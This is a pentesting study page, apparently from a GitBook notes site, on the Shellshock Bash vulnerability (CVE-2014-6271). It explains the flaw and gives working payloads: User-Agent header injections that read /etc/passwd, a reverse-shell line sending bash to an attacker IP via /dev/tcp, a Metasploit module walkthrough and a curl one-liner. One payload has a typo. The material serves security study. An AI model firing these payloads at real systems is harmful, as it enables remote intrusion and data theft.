Dark Arts
  • index
  • BUY ME A BOOK
  • 🪄Dark Magic
    • Pentesting
      • Industry Methodologies
    • Scopes of Testing
    • Reconnaissance
      • Passive
        • WHOIS
        • DNS
          • nslookup
          • dig
        • WAF
        • Subdomain
        • Google Dork
        • Misc. Techniques
        • Leaked Passwords
      • Active
        • Browser & Plugins
        • ping & traceroute
        • fping
        • telnet & netcat
        • DNS
          • Zone Transfer
          • DNS Amplification DDoS Attack Breakdown
        • Misc. Techniques
    • Vulnerability Assessment
    • Attack Types
  • 🕷️Aragoogs Nest
    • Web Application Overview & Security
      • Security Testing
      • Common Threats & Risks
    • Web Application Architecture
      • Technologies
    • HTTP/S
      • Message
      • Request
      • Response
        • Status Code
    • Crawling/Spidering
  • 🧪Potions
    • Web Browsers
    • Computer Networking
      • Network Protocol
      • Packets
      • OSI Layer
        • Layer 3: Network
        • Layer 4: Transport
      • DNS
        • Primary-Secondary
        • Local Name Resolution
        • Domain Hierarchy
        • FQDN
        • Lookups
        • DNS Resolution
        • DNS Records
        • Security: Attack-Defense (Default)
  • 🎆Spells
    • 📜Linux Scroll
    • 📜WebShell Scroll
    • git
      • Attacks + Vulnerabilities
  • 🖼️Flaws w/ Magical Frameworks
    • Windows
      • In a Nutshell
      • CVE-2019-0708: BlueKeep
      • CVE-2017-0144: EternalBlue: MS17-010
      • Attacking Services
        • MS IIS - WebDAV
        • SMB
        • HTTP File Server (HFS)
        • Apache Tomcat Web Server
        • RDP
        • WinRM
      • File System Vulnerabilities
      • Credential Dumping
        • Password Search in Windows Configuration Files
        • Mimikatz
        • Pass-the-Hash Attack
    • Linux
      • In a Nutshell
      • CVE-2014-6271: Shellshock
      • Attacking Services
        • FTP
        • SSH
        • SAMBA
        • SMTP
        • RSYNC
      • Dumping Hashes
  • 🌼Marauder's Boost
    • Privilege Escalation
    • Windows PrivEsc
      • Windows Kernel Exploit
      • Bypassing UAC
      • Access Token Impersonation
    • Linux PrivEsc
      • Linux Kernel Exploit
      • Misconfigured Cron Jobs
      • Exploiting SUID Binaries
      • shells
      • File Permissions
  • ☠️Death Eaters
    • Post Exploitation
      • Windows
      • Linux
  • 🪄OLLIVANDERS
    • nmap
      • Host Discovery
      • Port Scan
      • Service & OS
      • NSE
      • Firewall/IDS Evasion
      • Scan Optimization
      • Misc. Methods
    • ffuf
    • Hydra
    • Metasploit Framework
      • Architecture
      • Must to Know
      • msfvenom
      • Auxiliary Modules
      • Service Enumeration
      • Vulnerability Scanning
      • Imports
      • Automating
    • Vulnerability Scanners
    • Wireshark
  • 🚂Platform 9(3/4)
    • Auth-Auth
      • Authentication
        • Password-based Authentication
        • Basic Authentication
        • Multi-factor Authentication
        • Access Token
        • Token-based Authentication
          • JWT
          • OAuth 2.0
    • Secure Headers
      • Content-Security-Policy (CSP)
    • Cryptography
      • Caesar Cipher
  • ⛲Port Pensieve
    • Enumeration
      • SMB & NetBIOS
      • SNMP
    • Wordlists
  • 🔆DUELS
    • Pivoting
    • SMB Relay Attack
  • 🗺️Marauder's Map
    • Web Application Pentesting
    • API Pentesting
      • GraphQL
        • Primer
    • Mobile Application Pentesting
  • 🎧SIDE CHANNEL
    • Side Channel Analysis
    • Timing Side-Channel Attacks
      • Vulnerable Login
  • 🥃Sky
    • Cloud Basics
    • Cloud Management
      • Shared Responsibility Model
    • Using Cloud Resources
      • Monitoring & Alerts
      • Identity & Access Management
      • Scalability & Availability
      • Solution Design
    • Cloud Providers
    • Cloud Security & Regulatory Compliance
      • Resource Protection
      • ICCA: Cloud Security & Regulatory Compliance
    • ICCA Preparation
      • Knowledge Tests
      • Lab
  • 🔷Obsidian
    • Pentest Engagement
      • Scoping
    • Pentest Ethics
      • Rules of Engagement
    • Auditing Fundamentals
      • Process/Lifecycle
      • Pentest & Security Auditing
      • GRC
      • Standards, Frameworks & Guidelines
      • From Audit to Pentest
  • 💢Threat Modeling
    • Why Threat Model?
  • 📡THREAT INTEL
    • Threat Intelligence
    • Tool Dump
  • 📱Anything-Mobile-IoT
    • Firmware
    • Firmware Analysis
      • Example: CVE-2016-1555
    • Firmware Installation/Flashing
  • 🎉Mischeif
    • Social Engineering
    • Phishing
      • GoPhish
    • Pretexting
Powered by GitBook
On this page
  • Why the Vulnerability Occurs
  • Exploitation
  • Vulnerability Assessment
  • w/ Burp (Manual)
  • w/ Metasploit
  • One Liner
  • Discussion
  • Other Exploitation Reference
  1. Flaws w/ Magical Frameworks
  2. Linux

CVE-2014-6271: Shellshock

PreviousIn a NutshellNextAttacking Services

Last updated 4 months ago

Shellshock (CVE-2014-6271) refers to a family of vulnerabilities found in the Bash shell, dating back to version 1.3. Discovered by Stéphane Chazelas on September 12, 2014, and made public on September 24, 2014, it allows attackers to remotely execute arbitrary commands by exploiting Bash. Through this, attackers can potentially gain remote access to systems via a reverse shell. Bash, a widely used shell in the *Nix environment and part of the GNU Project, is the default shell for many Linux distributions.

Why the Vulnerability Occurs

The Shellshock vulnerability occurs due to a flaw in Bash where it mistakenly executes commands following a specific character sequence: () { :; };. This issue arises from how Bash handles environment variable function declarations. When an environment variable is passed to Bash, if it contains this sequence, Bash interprets it as a function, but instead of stopping at the function's definition, it continues to execute any additional commands.

env x='() { :;}; echo Vulnerable' bash -c "echo Test"

In this case, Bash should treat x as a harmless function, but due to the vulnerability, it executes the echo Vulnerable command.

This flaw only impacts Linux systems, as Windows doesn't use Bash, being a non-*Nix OS. Specifically, Apache web servers running CGI scripts (.sh scripts) are vulnerable because CGI scripts can pass environment variables to the Bash shell, potentially allowing attackers to exploit the system by executing arbitrary commands.

CGI (Common Gateway Interface) allows Apache to execute commands on the server and send the output back to the client, making systems using CGI scripts and Bash susceptible to remote exploitation.

  • Payload: The payload () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd' is injected into the User-Agent HTTP header. This header is passed to the CGI script by the web server in the form of an environment variable.

  • Bash Function Exporting: The vulnerability stems from how Bash exports functions from parent to child shells using environment variables. Any variable beginning with () { is parsed by Bash as a function, which could lead to arbitrary command execution.

  • Exploitation: If the CGI script calls Bash or executes commands via system calls (e.g., system, popen), the environment variables, including HTTP_USER_AGENT, are passed to Bash. Bash processes the function-like string () {, triggering the execution of commands like /bin/bash -c 'cat /etc/passwd'.

  • Vulnerable Systems: Systems running Bash-based CGI scripts are highly vulnerable, and even non-Bash scripts can be vulnerable if they invoke Bash through system calls. Attackers can execute arbitrary commands on the server by sending malicious headers.

  • Recon and Exploitation: The vulnerability can be used for recon (e.g., running id, ps aux, or listing files) and data exfiltration by executing system commands via Bash.

Exploitation

To exploit this vulnerability, you need to find an input vector or script that interacts with Bash. On an Apache web server, any accessible CGI script can be used for this. When a CGI script runs, the web server starts a new process and executes the script using Bash.

This vulnerability can be exploited either manually or automatically using the MSF exploit module.

Vulnerability Assessment

nmap -sV [IP]
nmap -sV --script http-shellshock --script-args "http-shellshock.uri=/uri-to.cgi" [IP]

# find cgi based scripts ## important
curl -X GET [DOMAIN] | grep .\.cgi

w/ Burp (Manual)

# intercept the CGI
# inject in user-agent
User-Agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'

# Reverse Shell
# listening
nc -lvnp 1234
User-Agent: () {:'}; echo; echo; /bin/bash -c 'bash -i>&/dev/tcp/[attack-ip]/[1234] 0>&1'

# Send this an you will get a reverse shell

w/ Metasploit

msfconsole -q
search shellshock
use exploit/multi/http/apache_mod_cgi_bash_env_exec
show options
set RHOSTS [TARGET IP]
set TARGETURI [PATH-TO-CGI]
exploit

One Liner

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable

The user-agent header is used as an injection point because it is passed by the web server to Bash as an environment variable in a vulnerable CGI setup, allowing the attacker to exploit the Shellshock vulnerability and execute arbitrary commands.

Discussion

The Shellshock vulnerability stems from a feature in Bash that allows exporting function definitions from parent to child shells via environment variables. This feature misinterprets specially formatted environment variables starting with () {, allowing arbitrary code execution.

Bash's interaction with web servers (like Apache) can expose it to untrusted HTTP headers (e.g., User-Agent, Cookie). If an attacker sends a crafted HTTP header starting with () {, Bash may execute arbitrary commands, leading to remote code execution (RCE).

Other Exploitation Reference

🖼️
NVD - cve-2014-6271
INE | INEINE, Inc.
Logo
Quick notes about the bash bug, its impact, and the fixes so far
Logo
GitHub - opsxcq/exploit-CVE-2014-6271: Shellshock exploit + vulnerable environmentGitHub
GitHub - MY7H404/CVE-2014-6271-Shellshock: The Shellshock Exploit is a tool designed to efficiently exploit the Shellshock vulnerability (CVE-2014-6271) in susceptible CGI servers, enabling a precise takeover of the target server. Shellshock is a critical security vulnerability that affects the Bash shell, allowing attackers to execute arbitrary commands on the targeted systemGitHub
GitHub - b4keSn4ke/CVE-2014-6271: Shellshock exploit aka CVE-2014-6271GitHub
PentesterLab: CVE-2014-6271/ShellshockPentesterlab
Logo
Logo
Logo
Logo
Logo